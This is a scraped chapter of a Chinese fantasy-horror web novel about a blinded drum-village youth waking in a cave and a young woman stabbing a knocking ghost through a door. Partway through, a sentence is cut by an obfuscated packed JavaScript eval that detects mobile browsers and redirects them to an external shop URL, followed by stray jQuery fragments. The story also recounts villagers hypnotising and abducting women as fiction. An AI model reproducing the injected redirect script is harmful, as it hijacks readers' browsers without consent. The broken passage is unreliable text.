12. 第 12 章
    “嘀嗒,嘀嗒。”

    宋幺儿听见耳边传来滴水声。

    我在哪儿?

    我还活着吗?

    他的眼睛……宋幺儿回想起昏迷前袭来的剧痛,下意思抬手触摸脸部。

    上手触摸的瞬间,宋幺儿不禁瑟缩了一下,那种感觉,就好像有人用砂纸在他脸上轻轻摩挲。

    他的手......

    是啊,他的皮肤早就因为【百岁棺】而衰老。

    宋幺儿摸了摸自己的脸,他的眼睛…...如今已经只剩塌陷的眼眶了。

    有人用药草包裹了他的眼周。

    宋幺儿静静地躺了会儿,觉得有些口渴。

    他还不知道自己昏迷了多久。

    现在想想,他还能活着,也是件怪事。

    老祭司教他们的【百岁棺】,是曲谱里相当蛮横霸道的存在。

    百岁百岁,终岁而棺。

    这本就是一曲丧乐。

    宋幺儿的双手绞在一起,竭力平复自己的情绪。

    他怎么可能会给自己鸣击死人的东西。

    宋幺儿撑着自己起身,岂料动作才做了一半,脑袋就撞到了一块硬物。

    宋幺儿眼眶生疼,这突如其来的撞击,更是加剧了他的痛感。

    犹豫着抬手,宋幺儿摸到一手液体。

    铁锈味儿钻进宋幺儿的鼻腔,有东西撞破了他的脑袋。

    宋幺儿向上伸出手臂,这回,他摸到了粗粝的石壁。

    他没有在家里。

    难不成,他被装进了棺材?

    宋幺儿麻木地思考,这世上莫非还存在着石头做的棺。

    “嘀嗒。”

    水滴声再次在宋幺儿的耳边响起。

    宋幺儿神经一跳,他在彻底醒来前,似乎就听过这滴水声。

    棺材里总不至于漏水。

    他究竟在什么地方?

    宋幺儿努力撑着自己坐起身,他如今没了眼珠,就是个瞎子。

    为避免再次撞坏脑袋,宋幺儿这回放慢了起身的动作,

    很快,他就感受到脑袋顶到了一块粗粝的凸起。

    宋幺儿拿手摸了摸,还是石壁。

    他这是被关了起来?

    不,这说不通。

    现在关他是没用的。

    除非,有人用囚禁的名义,借机救了自己。

    但除了自己的家里人,谁会大费周章的救他。

    如果是家里人救的自己,那村里的事…….

    他在出事前,祠堂里的大部分人,可都巴不得自己赶紧献祭。

    宋幺儿痴痴地笑出声,可惜啊,没能如他们的愿。

    宋幺儿无法理解老祭司,无法理解村长。

    说死就死,是因为有这种决心,所以才成为祭司和村长吗?

    宋幺儿想不明白。

    他只知道,老祭司骗了他。

    宋幺儿当然知道,抓那批女人的用意是什么。

    村里的痴呆儿越来越多,这些人注定无法驭鼓延寿。

    对于他们这些长期用鼓的人而言,羯鼓就是他们的第二条命。

    这是鼓村里心照不宣的秘密。

    据村里的老人说,他们的祖辈因为某种原因,受到了可怕的诅咒。

    这份诅咒延续至子孙后代。

    祖辈为寻求破解之法,从一方士手中学习了羯鼓的秘录。

    代价是,他们的子孙后代,要永远继承并守护羯鼓的存在。

    修习羯鼓后,他们的血脉果然得以保存。

    甚至,他们还从中习得了羯鼓其余的力量。

    羯鼓的这部分力量,给他们带来了滔天权势。

    他们中的一些人,开始频繁使用羯鼓的力量,没人知道是什么时候出的岔子。

    根据鼓村的记载,他们的祖辈一共经历过三次搬迁。

    在第三次搬迁后,当时的祭司,做了一个决定。

    他们将不再出山,永远守着誓约碑界和鼓林。

    ***

    宋幺儿的驭鼓能力,在同辈中算不上出挑,硬要说,也就是个中等水平。

    所以,当初老祭司找到他,跟他说要委以重任,宋幺儿好是膨胀了几天。

    直到,临出发前,老祭司跟他们说了出村的具体安排。

    羯鼓的力量和音律有关,他们三人合奏击鼓,在深夜催眠了外面的一整个村落。

    那些女人,是自己跟着他们回来的。

    他们是为了救鼓村,他们没有错。

    只要生下孩子,他们会送这些女人回去。

    只是让宋幺儿他们没想到,这些女人大部分都没活下来。

    这个任务,失败了。

    那些侥幸活下来的孩子,没有一个得到羯鼓的认可。

    宋幺儿说不清自己的感受,羯鼓看中血脉,这是他们从小被灌输的认知。

    但是村子的血脉出了问题。

    他们自己的不行,外面的血脉也不行。

    鼓林到底怎么了?

    宋幺儿循着水声摸索,他一边试探周围,一边挪动身体。

    直到感受到自己的身体被水浸湿。

    宋幺儿摸到了潮湿的青苔。

    周围很安静,宋幺儿除了听见滴水声,再没有别的虫鸣鸟叫。

    看样子,他被人放在了一处狭窄的洞穴之中。

    洞穴边缘有一处水潭,宋幺儿伸出胳膊,试了试水的深度,不算深。

    但他看不见,无法确认水潭的大小。

    又或者,这个水潭很大,他摸到的仅仅是清浅的边缘。

    宋幺儿从小在村子里疯跑长大,鼓村的每一处地方,他都知道。

    这里不会是誓约碑界,也不会是鼓林。

    这两个地方,即便是鼓村的人,也只能进去一次。

    有水源,宋幺儿心想,他暂时死不了。

    他趴在水潭边缘许久,也没有感受到了身上温度的变化,宋幺儿确定,现在应该是晚上。

    宋幺儿摸着粗粝的石壁,再次爬了回去。

    既然有人将他搁置在这里,说明不希望有人发现他。

    他已经瞎了,不适合暴露在外面。

    宋幺儿躺了两天,每一次苏醒他都能感受到自己的虚弱。

    他失去了眼睛,草药已经不再起效。

    再不想办法找到吃的,他会饿死。

    死…...

    宋幺儿终于想起一件事,既然他没死,岂不是代表,他的羯鼓也没被献祭。

    虽然这事儿并不绝对,但……万一呢!

    宋幺儿想到这里,不由得有了些精神,他又开始在石壁上摸索。

    他的羯鼓不大,如果救他的人真的是他家里人,必然会将他的羯鼓藏起来。

    至于家里人为什么不带他回家,想也知道,如果真是家里人保了他,他们家现在,必定处在风口浪尖上。

    他在祠堂当众击奏【百岁

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564249|142862||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    棺】,宋幺儿不敢去想,会有多少人因此受到牵连。

    他已经付出了巨大的代价,以他为中心的范围,如果没有羯鼓抵挡…...

    宋幺儿脊背轻颤,他…..不是故意的。

    石壁粗粝不堪,宋幺儿摸了一遍又一遍,始终没能找到自己的羯鼓。

    没有鼓,没有食物,他早晚会死。

    救他的人,是不是一时脱不开身,再等等,或许就来了。

    …...

    ***

    陡然响起的敲门声,让温绒惊出一抹冷汗。

    门外有人?

    不,没有人的气息。

    会是那些东西吗?

    温绒摸着琼魂锁皱眉,有些不想理会。

    羯鼓的力量会让自己看见普通人看不见的存在,温绒早已习惯。

    但敲门声还在持续。

    真够坚持不懈的,温绒有些无奈。

    这敲门的架势,似乎自己不去开门,敲门声就不会停。

    这年头,这些东西怎么就这么一根筋呢。

    温绒将床上的东西装回江淮序的背包,下床去开门。

    房门打开,走廊上空荡荡的,一如温绒心里预料那般,外头没人。

    永远都是这套把戏,温绒翻了个白眼。

    温绒转身将门摔上,还没走两步,敲门声再度响起。

    温绒没有犹豫,她快步走向江淮序的包裹,迅速拉开拉链,从里头掏出一柄最大的匕首。

    这一次,温绒还没来得及握上门把手,屋外的敲门声便截然停止。

    似乎有东西正在屋外盯着里头的动静。

    呵。

    温绒嘴角上扬,好看的弧度里含着明晃晃的嘲讽。

    门把手随着温绒的动作往下拉扯,又随着温绒的放手而恢复原位。

    果然,在门把手停止转动后,门外的敲门声再次响起。

    温绒无声轻笑,她提起匕首,对准屋外的声源,发力的手臂在瞬间绷紧,以迅雷之势将门板捅了个对穿。

    匕首泛着寒光,准确无误地扎在房门上。

    门外很快传来挣扎的动静。

    温绒这招是自己在河边抓鱼的时候研究的,温绒没有身份证明,也没有钱,离村以后大部分时间都过得挺拮据。

    她已经很久没有到过湖边了,这段时间一直在翻山越岭,抓的基本都是野兔花蛇。

    虽然外头的东西跟鱼没关系,但自己这扎鱼的手艺,看样子还没生疏。

    温绒有些高兴,江淮序这匕首的质量不错,回头问他要一把。

    她拉开房门,得意地看向自己的猎物。

    那东西一身破烂,眼眶被匕首扎穿,钉死在门板上。

    这些东西,死前什么样,死后还是什么样。

    温绒将它上下打量了一番,脸贴着门框,看不清长相,个子倒是不矮,手脚均漆黑一片。

    光看外表,像是被火烧死的。

    倒是安静,除了挣扎个不停,被捅了也没闹。

    温绒没工夫搭理它,她倒是不介意门上扎个吉祥物,但这门开着也不合适。

    想了想,还是决定将这家伙从门上扯下来。

    匕首寒光一闪,抽落不少门板的木屑。

    那东西捂着一只眼眶,怯生生地低头,似乎不敢看向温绒。

    温绒拿起匕首朝它比划两下,摆出一张酷酷的臭脸。

    “再敲门,把你另一只眼眶也捅了!”